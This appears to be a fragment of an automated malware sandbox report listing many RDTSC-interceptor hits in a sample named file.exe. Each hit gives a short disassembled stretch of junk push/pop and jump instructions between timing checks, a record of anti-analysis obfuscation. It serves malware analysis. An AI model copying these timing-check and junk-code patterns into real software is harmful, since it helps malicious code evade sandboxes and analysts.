Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790061 second address: 79006D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F3994C2A2D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79049F second address: 7904A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A53 second address: 790A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A57 second address: 790A5D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A5D second address: 790A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A65 second address: 790A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A6E second address: 790A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F3994C2A2DCh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F3994C2A2E4h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A9D second address: 790AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3994CD1DB6h 0x0000000a popad 0x0000000b jbe 00007F3994CD1DE8h 0x00000011 jmp 00007F3994CD1DC9h 0x00000016 jmp 00007F3994CD1DC9h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79127D second address: 7912A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3994C2A2D6h 0x0000000a jmp 00007F3994C2A2DEh 0x0000000f popad 0x00000010 jmp 00007F3994C2A2E0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7912A6 second address: 7912B9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3994CD1DBEh 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007F3994CD1DB6h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7912B9 second address: 7912BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791584 second address: 791593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 je 00007F3994CD1DB6h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79583F second address: 79585A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994C2A2E0h 0x00000009 pop edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79585A second address: 795875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3994CD1DC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795875 second address: 79588E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994C2A2E0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79588E second address: 79589C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DBAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7959FB second address: 795A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795CDA second address: 795CE9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3994CD1DB6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796259 second address: 79625D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7963F1 second address: 7963F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7963F7 second address: 796431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 jmp 00007F3994C2A2DEh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F3994C2A2E8h 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2A4C second address: 7A2A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3994CD1DB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2A56 second address: 7A2A7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jl 00007F3994C2A2D6h 0x00000015 pop eax 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2A7D second address: 7A2A83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2A83 second address: 7A2A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2A87 second address: 7A2A91 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3994CD1DB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A150B second address: 7A1522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3994C2A2D6h 0x0000000a jg 00007F3994C2A2D6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A194B second address: 7A1951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1951 second address: 7A195F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F3994C2A2D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A195F second address: 7A19AB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F3994CD1DBFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F3994CD1DBEh 0x00000013 pop edi 0x00000014 popad 0x00000015 pushad 0x00000016 jl 00007F3994CD1DCBh 0x0000001c jmp 00007F3994CD1DC5h 0x00000021 push eax 0x00000022 push edx 0x00000023 js 00007F3994CD1DB6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19AB second address: 7A19B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19B5 second address: 7A19B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2212 second address: 7A223D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3994C2A2E5h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jc 00007F3994C2A2DEh 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA34F second address: 7AA355 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA355 second address: 7AA35B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA35B second address: 7AA35F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA35F second address: 7AA363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9E0D second address: 7A9E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9E11 second address: 7A9E24 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3994C2A2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007F3994C2A2D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9F77 second address: 7A9F85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DBAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA0C0 second address: 7AA0C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7DFC second address: 7B7E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7E10 second address: 7B7E15 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7E15 second address: 7B7E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9DB2 second address: 7B9DC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9DC5 second address: 7B9DD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3994CD1DBEh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCEC4 second address: 7BCECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCECA second address: 7BCED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCED0 second address: 7BCEE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE47F second address: 7BE484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE484 second address: 7BE4C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F3994C2A2DFh 0x0000000f je 00007F3994C2A2E8h 0x00000015 jmp 00007F3994C2A2E2h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2C44 second address: 7C2C62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3994CD1DB6h 0x0000000a jmp 00007F3994CD1DC4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C826D second address: 7C828E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3994C2A2D6h 0x00000008 jmp 00007F3994C2A2E7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCA59 second address: 7CCA5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCA5E second address: 7CCA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCA66 second address: 7CCA75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3994CD1DB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCA75 second address: 7CCA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCA79 second address: 7CCA7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCA7D second address: 7CCA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F3994C2A2D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCA8F second address: 7CCAA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3994CD1DBBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCAA0 second address: 7CCAAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3994C2A2D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE964 second address: 7CE982 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F3994CD1DBEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007F3994CD1DB6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D61E4 second address: 7D61F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D634E second address: 7D6370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3994CD1DC7h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6370 second address: 7D6374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6797 second address: 7D67C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F3994CD1DC4h 0x0000000e jbe 00007F3994CD1DB6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D67C0 second address: 7D67C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6CB0 second address: 7D6CC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6CC5 second address: 7D6CD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F3994C2A2D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC703 second address: 7DC70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E082A second address: 7E0830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F875F second address: 7F8763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8763 second address: 7F8788 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3994C2A2DCh 0x00000008 jmp 00007F3994C2A2DFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8788 second address: 7F87BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3994CD1DC8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F3994CD1DC9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F87BF second address: 7F87C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCA7B second address: 7FCA86 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC776 second address: 7FC789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F3994C2A2D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC789 second address: 7FC78D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC78D second address: 7FC795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC795 second address: 7FC79E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC79E second address: 7FC7A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810F11 second address: 810F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DC1h 0x00000009 push ebx 0x0000000a jmp 00007F3994CD1DC5h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 jmp 00007F3994CD1DBFh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b jmp 00007F3994CD1DC0h 0x00000020 jbe 00007F3994CD1DB6h 0x00000026 pop edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810F6D second address: 810F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810F71 second address: 810F79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811106 second address: 81110A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81110A second address: 811110 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811110 second address: 811121 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F3994C2A2D6h 0x00000009 jnp 00007F3994C2A2D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8114E4 second address: 8114F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F3994CD1DBCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8114F9 second address: 8114FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8114FD second address: 81151C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jo 00007F3994CD1DB6h 0x00000010 jl 00007F3994CD1DB6h 0x00000016 pop edi 0x00000017 je 00007F3994CD1DB8h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8117C9 second address: 8117E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8117E6 second address: 811808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3994CD1DB6h 0x0000000a jmp 00007F3994CD1DC4h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811808 second address: 811823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3994C2A2D6h 0x0000000a jg 00007F3994C2A2D6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 jng 00007F3994C2A2DEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811978 second address: 811995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DBFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F3994CD1DD5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811995 second address: 8119BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994C2A2E9h 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F3994C2A2D6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
